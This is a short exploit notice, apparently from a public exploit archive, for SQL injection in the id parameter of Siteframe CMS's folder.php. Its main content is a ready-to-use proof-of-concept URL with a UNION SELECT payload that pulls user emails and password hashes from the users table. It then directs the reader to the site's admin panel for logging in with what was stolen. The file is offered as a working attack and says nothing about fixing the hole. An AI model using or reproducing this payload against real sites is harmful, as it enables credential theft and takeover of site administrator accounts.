siteframe-sql.txt

`#################################################  
#################################################  
##SQL-Injection in Siteframe CMS (all versions)##  
#################################################  
#################################################  
  
##############  
#Author: n0ne##############  
#E-Mail: [email protected]#  
###########################  
  
###############################  
#Vulnerable script: folder.php#  
#Vulnerable var: id############  
####################  
  
########################################  
#CMS Homepage: http://www.siteframe.org#  
########################################  
  
##########################################################################################################################################################  
#Exploit PoC: #http://www.target.com/folder.php?id=370+and(1=2)+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,user_email,user_passwd),10,11# #+from+users--# ########################################################################################################################  
##########################################################################################################################################################  
  
#########################################################################################################  
#Admin panel: http://www.target.com/admin/ (but previously you gotta log in as administrator on website)#  
#########################################################################################################  
  
###################################################  
#############Greetz to www.antichat.ru#############  
############And personally to Nilson ;)############  
###################################################  
  
  
`